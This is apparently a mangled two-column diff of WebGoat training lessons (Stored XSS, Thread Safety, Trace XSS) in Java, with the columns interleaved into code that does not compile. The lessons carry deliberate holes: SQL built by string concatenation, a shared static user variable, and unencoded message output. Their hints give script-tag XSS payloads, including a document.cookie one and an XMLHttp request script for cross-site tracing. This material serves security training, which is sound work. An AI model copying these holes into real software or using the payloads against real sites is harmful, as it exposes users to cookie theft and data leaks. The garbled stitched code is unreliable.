.add("Bury a SCRIPT tag in the message to attack anyone who reads it.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in the message field.");
hints
.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in the message field.");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the MessageBoardScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Stored XSS Attacks");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeCurrent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{ {
int messageNum = s.getParser().getIntParameter(NUMBER, 0); return Category.XSS;
}
Connection connection = DatabaseUtilities.getConnection(s); /**
* Gets the hints attribute of the MessageBoardScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("You can put HTML tags in your message.");
hints.add("Bury a SCRIPT tag in the message to attack anyone who reads it.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in the message field.");
hints.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in the message field.");
// edit by Chuck Willis - Added logic to associate similar usernames return hints;
// The idea is that users chuck-1, chuck-2, etc will see each other's messages }
// but not anyone elses. This allows users to try out XSS to grab another user's
// cookies, but not get confused by other users scripts
String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?"; private final static Integer DEFAULT_RANKING = new Integer(100);
PreparedStatement statement = connection.prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setInt(2, messageNum);
ResultSet results = statement.executeQuery();
if ((results != null) && results.first()) protected Integer getDefaultRanking()
{ {
ec.addElement(new H1("Message Contents For: " return DEFAULT_RANKING;
+ results.getString(TITLE_COL))); }
Table t = new Table(0).setCellSpacing(0).setCellPadding(0)
.setBorder(0); /**
TR row1 = new TR(new TD(new B(new StringElement("Title:")))); * Gets the title attribute of the MessageBoardScreen object
row1.addElement(new TD(new StringElement(results *
.getString(TITLE_COL)))); * @return The title value
*/
public String getTitle()
{
return ("Stored XSS Attacks");
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeCurrent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
int messageNum = s.getParser().getIntParameter(NUMBER, 0);
Connection connection = DatabaseUtilities.getConnection(s);
// edit by Chuck Willis - Added logic to associate similar usernames
// The idea is that users chuck-1, chuck-2, etc will see each other's messages
// but not anyone elses. This allows users to try out XSS to grab another user's
// cookies, but not get confused by other users scripts
String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?";
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setInt(2, messageNum);
ResultSet results = statement.executeQuery();
if ((results != null) && results.first())
{
ec.addElement(new H1("Message Contents For: " + results.getString(TITLE_COL)));
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR(new TD(new B(new StringElement("Title:"))));
row1.addElement(new TD(new StringElement(results.getString(TITLE_COL))));
t.addElement(row1);
String messageData = results.getString(MESSAGE_COL);
TR row2 = new TR(new TD(new B(new StringElement("Message:"))));
row2.addElement(new TD(new StringElement(messageData)));
t.addElement(row2);
// Edited by Chuck Willis - added display of the user who posted the message, so
// that
// if users use a cross site request forgery or XSS to make another user post a
// message,
// they can see that the message is attributed to that user
TR row3 = new TR(new TD(new StringElement("Posted By:")));
row3.addElement(new TD(new StringElement(results.getString(USER_COL))));
t.addElement(row3);
ec.addElement(t);
// Some sanity checks that the script may be correct
if (messageData.toLowerCase().indexOf("<script>") != -1
&& messageData.toLowerCase().indexOf("</script>") != -1
&& messageData.toLowerCase().indexOf("alert") != -1)
{
makeSuccess(s);
}
}
else
{
if (messageNum != 0)
{
ec.addElement(new P().addElement("Could not find message " + messageNum));
}
}
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeInput(WebSession s)
{
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new StringElement("Title: ")));
Input inputTitle = new Input(Input.TEXT, TITLE, "");
row1.addElement(new TD(inputTitle));
TD item1 = new TD();
item1.setVAlign("TOP");
item1.addElement(new StringElement("Message: "));
row2.addElement(item1);
TD item2 = new TD();
TextArea ta = new TextArea(MESSAGE, 5, 60);
item2.addElement(ta);
row2.addElement(item2);
t.addElement(row1); t.addElement(row1);
String messageData = results.getString(MESSAGE_COL);
TR row2 = new TR(new TD(new B(new StringElement("Message:"))));
row2.addElement(new TD(new StringElement(messageData)));
t.addElement(row2); t.addElement(row2);
// Edited by Chuck Willis - added display of the user who posted the message, so that Element b = ECSFactory.makeButton("Submit");
// if users use a cross site request forgery or XSS to make another user post a message, ElementContainer ec = new ElementContainer();
// they can see that the message is attributed to that user ec.addElement(t);
ec.addElement(new P().addElement(b));
TR row3 = new TR(new TD(new StringElement("Posted By:"))); return (ec);
row3.addElement(new TD(new StringElement(results }
.getString(USER_COL))));
t.addElement(row3);
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
public static Element makeList(WebSession s)
{
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
try
{
Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
// edit by Chuck Willis - Added logic to associate similar usernames
// The idea is that users chuck-1, chuck-2, etc will see each other's messages
// but not anyone elses. This allows users to try out XSS to grab another user's
// cookies, but not get confused by other users scripts
ResultSet results = statement.executeQuery(STANDARD_QUERY + " WHERE user_name LIKE '"
+ getNameroot(s.getUserName()) + "%'");
if ((results != null) && (results.first() == true))
{
results.beforeFirst();
for (int i = 0; results.next(); i++)
{
A a = ECSFactory.makeLink(results.getString(TITLE_COL), NUMBER, results.getInt(NUM_COL));
TD td = new TD().addElement(a);
TR tr = new TR().addElement(td);
t.addElement(tr);
}
}
} catch (Exception e)
{
s.setMessage("Error while getting message list.");
}
ElementContainer ec = new ElementContainer();
ec.addElement(new H1("Message List"));
ec.addElement(t); ec.addElement(t);
// Some sanity checks that the script may be correct return (ec);
if (messageData.toLowerCase().indexOf("<script>") != -1 }
&& messageData.toLowerCase().indexOf("</script>") != -1
&& messageData.toLowerCase().indexOf("alert") != -1) private static String getNameroot(String name)
{
String nameroot = name;
if (nameroot.indexOf('-') != -1)
{ {
makeSuccess(s); nameroot = nameroot.substring(0, nameroot.indexOf('-'));
} }
return nameroot;
}
else
{
if (messageNum != 0)
{
ec.addElement(new P().addElement("Could not find message "
+ messageNum));
}
}
} }
catch (Exception e)
public Element getCredits()
{ {
s.setMessage("Error generating " + this.getClass().getName()); return super.getCustomCredits("", ASPECT_LOGO);
e.printStackTrace();
} }
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeInput(WebSession s)
{
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new StringElement("Title: ")));
Input inputTitle = new Input(Input.TEXT, TITLE, "");
row1.addElement(new TD(inputTitle));
TD item1 = new TD();
item1.setVAlign("TOP");
item1.addElement(new StringElement("Message: "));
row2.addElement(item1);
TD item2 = new TD();
TextArea ta = new TextArea(MESSAGE, 5, 60);
item2.addElement(ta);
row2.addElement(item2);
t.addElement(row1);
t.addElement(row2);
Element b = ECSFactory.makeButton("Submit");
ElementContainer ec = new ElementContainer();
ec.addElement(t);
ec.addElement(new P().addElement(b));
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
public static Element makeList(WebSession s)
{
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
try
{
Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
// edit by Chuck Willis - Added logic to associate similar usernames
// The idea is that users chuck-1, chuck-2, etc will see each other's messages
// but not anyone elses. This allows users to try out XSS to grab another user's
// cookies, but not get confused by other users scripts
ResultSet results = statement.executeQuery(STANDARD_QUERY
+ " WHERE user_name LIKE '" + getNameroot(s.getUserName())
+ "%'");
if ((results != null) && (results.first() == true))
{
results.beforeFirst();
for (int i = 0; results.next(); i++)
{
A a = ECSFactory.makeLink(results.getString(TITLE_COL),
NUMBER, results.getInt(NUM_COL));
TD td = new TD().addElement(a);
TR tr = new TR().addElement(td);
t.addElement(tr);
}
}
}
catch (Exception e)
{
s.setMessage("Error while getting message list.");
}
ElementContainer ec = new ElementContainer();
ec.addElement(new H1("Message List"));
ec.addElement(t);
return (ec);
}
private static String getNameroot(String name)
{
String nameroot = name;
if (nameroot.indexOf('-') != -1)
{
nameroot = nameroot.substring(0, nameroot.indexOf('-'));
}
return nameroot;
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -13,203 +14,188 @@ import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input; import org.apache.ecs.html.Input;
import org.apache.ecs.html.P; import org.apache.ecs.html.P;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class ThreadSafetyProblem extends LessonAdapter public class ThreadSafetyProblem extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String USER_NAME = "username"; private final static String USER_NAME = "username";
private static String currentUser; private static String currentUser;
private String originalUser; private String originalUser;
/**
/** * Description of the Method
* Description of the Method *
* * @param s
* @param s Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{ {
Connection connection = DatabaseUtilities.getConnection(s); ElementContainer ec = new ElementContainer();
ec.addElement(new StringElement("Enter user name: ")); try
ec.addElement(new Input(Input.TEXT, USER_NAME, ""));
currentUser = s.getParser().getRawParameter(USER_NAME, "");
originalUser = currentUser;
// Store the user name
String user1 = new String(currentUser);
Element b = ECSFactory.makeButton("Submit");
ec.addElement(b);
ec.addElement(new P());
if (!"".equals(currentUser))
{
Thread.sleep(1500);
// Get the users info from the DB
String query = "SELECT * FROM user_system_data WHERE user_name = '"
+ currentUser + "'";
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{ {
ec.addElement("Account information for user: " Connection connection = DatabaseUtilities.getConnection(s);
+ originalUser + "<br><br>");
ResultSetMetaData resultsMetaData = results.getMetaData(); ec.addElement(new StringElement("Enter user name: "));
ec.addElement(DatabaseUtilities.writeTable(results, ec.addElement(new Input(Input.TEXT, USER_NAME, ""));
resultsMetaData)); currentUser = s.getParser().getRawParameter(USER_NAME, "");
} originalUser = currentUser;
else
// Store the user name
String user1 = new String(currentUser);
Element b = ECSFactory.makeButton("Submit");
ec.addElement(b);
ec.addElement(new P());
if (!"".equals(currentUser))
{
Thread.sleep(1500);
// Get the users info from the DB
String query = "SELECT * FROM user_system_data WHERE user_name = '" + currentUser + "'";
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ec.addElement("Account information for user: " + originalUser + "<br><br>");
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
}
else
{
s.setMessage("'" + currentUser + "' is not a user in the WebGoat database.");
}
}
if (!user1.equals(currentUser))
{
makeSuccess(s);
}
} catch (Exception e)
{ {
s.setMessage("'" + currentUser s.setMessage("Error generating " + this.getClass().getName());
+ "' is not a user in the WebGoat database."); e.printStackTrace();
} }
}
if (!user1.equals(currentUser))
{
makeSuccess(s);
}
return (ec);
} }
catch (Exception e)
/**
* Gets the hints attribute of the ConcurrencyScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{ {
s.setMessage("Error generating " + this.getClass().getName()); List<String> hints = new ArrayList<String>();
e.printStackTrace(); hints.add("Web applications handle many HTTP requests at the same time.");
hints.add("Developers use variables that are not thread safe.");
hints.add("Show the Java source code and trace the 'currentUser' variable");
hints.add("Open two browsers and send 'jeff' in one and 'dave' in the other.");
return hints;
} }
return (ec); /**
} * Gets the instructions attribute of the ThreadSafetyProblem object
*
* @return The instructions value
/** */
* Gets the hints attribute of the ConcurrencyScreen object public String getInstructions(WebSession s)
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Web applications handle many HTTP requests at the same time.");
hints.add("Developers use variables that are not thread safe.");
hints
.add("Show the Java source code and trace the 'currentUser' variable");
hints
.add("Open two browsers and send 'jeff' in one and 'dave' in the other.");
return hints;
}
/**
* Gets the instructions attribute of the ThreadSafetyProblem object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "The user should be able to exploit the concurrency error in this web application "
+ "and view login information for another user that is attempting the same function "
+ "at the same time. <b>This will require the use of two browsers</b>. Valid user "
+ "names are 'jeff' and 'dave'."
+ "<p>Please enter your username to access your account.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(80);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Category getDefaultCategory()
{
return Category.CONCURRENCY;
}
/**
* Gets the title attribute of the ConcurrencyScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Thread Safety Problems");
}
/**
* Constructor for the ConcurrencyScreen object
*
* @param s Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{ {
super.handleRequest(s);
}
catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}
public Element getCredits() String instructions = "The user should be able to exploit the concurrency error in this web application "
{ + "and view login information for another user that is attempting the same function "
return super.getCustomCredits("", ASPECT_LOGO); + "at the same time. <b>This will require the use of two browsers</b>. Valid user "
} + "names are 'jeff' and 'dave'." + "<p>Please enter your username to access your account.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(80);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Category getDefaultCategory()
{
return Category.CONCURRENCY;
}
/**
* Gets the title attribute of the ConcurrencyScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Thread Safety Problems");
}
/**
* Constructor for the ConcurrencyScreen object
*
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
} catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR; import org.apache.ecs.html.BR;
@ -19,268 +19,239 @@ import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class TraceXSS extends LessonAdapter public class TraceXSS extends LessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
*/
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String regex1 = "^[0-9]{3}$";// any three digits
Pattern pattern1 = Pattern.compile(regex1);
try
{ {
String param1 = s.getParser().getRawParameter("field1", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter(
"field2", "4128 3214 0002 1999"));
float quantity = 1.0f;
float total = 0.0f;
float runningTotal = 0.0f;
// test input field1 ElementContainer ec = new ElementContainer();
if (!pattern1.matcher(param1).matches()) String regex1 = "^[0-9]{3}$";// any three digits
{ Pattern pattern1 = Pattern.compile(regex1);
if (param1.toLowerCase().indexOf("script") != -1
&& param1.toLowerCase().indexOf("trace") != -1) try
{ {
makeSuccess(s); String param1 = s.getParser().getRawParameter("field1", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
float quantity = 1.0f;
float total = 0.0f;
float runningTotal = 0.0f;
// test input field1
if (!pattern1.matcher(param1).matches())
{
if (param1.toLowerCase().indexOf("script") != -1 && param1.toLowerCase().indexOf("trace") != -1)
{
makeSuccess(s);
}
s.setMessage("Whoops! You entered " + param1 + " instead of your three digit code. Please try again.");
}
// FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 1.0f);
total = quantity * 69.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 1.0f);
total = quantity * 27.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 1.0f);
total = quantity * 1599.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 1.0f);
total = quantity * 299.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
ec.addElement(new BR());
tr = new TR();
tr.addElement(new TD().addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal));
tr.addElement(new TD().addElement(ECSFactory.makeButton("Update Cart")));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1", param1)));
t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
t.addElement(tr);
ec.addElement(t);
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
return (ec);
s
.setMessage("Whoops! You entered "
+ param1
+ " instead of your three digit code. Please try again.");
}
// FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1()
.addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement(
"Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser()
.getStringParameter("QTY1", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 1.0f);
total = quantity * 69.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser()
.getStringParameter("QTY2", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 1.0f);
total = quantity * 27.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser()
.getStringParameter("QTY3", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 1.0f);
total = quantity * 1599.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser()
.getStringParameter("QTY4", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 1.0f);
total = quantity * 299.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
ec.addElement(new BR());
tr = new TR();
tr.addElement(new TD()
.addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal));
tr.addElement(new TD().addElement(ECSFactory
.makeButton("Update Cart")));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2",
param2)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",
param1)));
t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign(
"center"));
t.addElement(tr);
ec.addElement(t);
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
} }
catch (Exception e)
/**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{ {
s.setMessage("Error generating " + this.getClass().getName()); return Category.XSS;
e.printStackTrace();
} }
return (ec);
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Most web servers support GET/POST. Many default installations also support TRACE");
hints.add("JavaScript has the ability to post a URL:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"GET\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; " + "document.write(str1);&lt;/script&gt;");
hints.add("Try changing the HTTP GET to a HTTP TRACE");
hints
.add("Try a cross site trace (XST) Command:<br>"
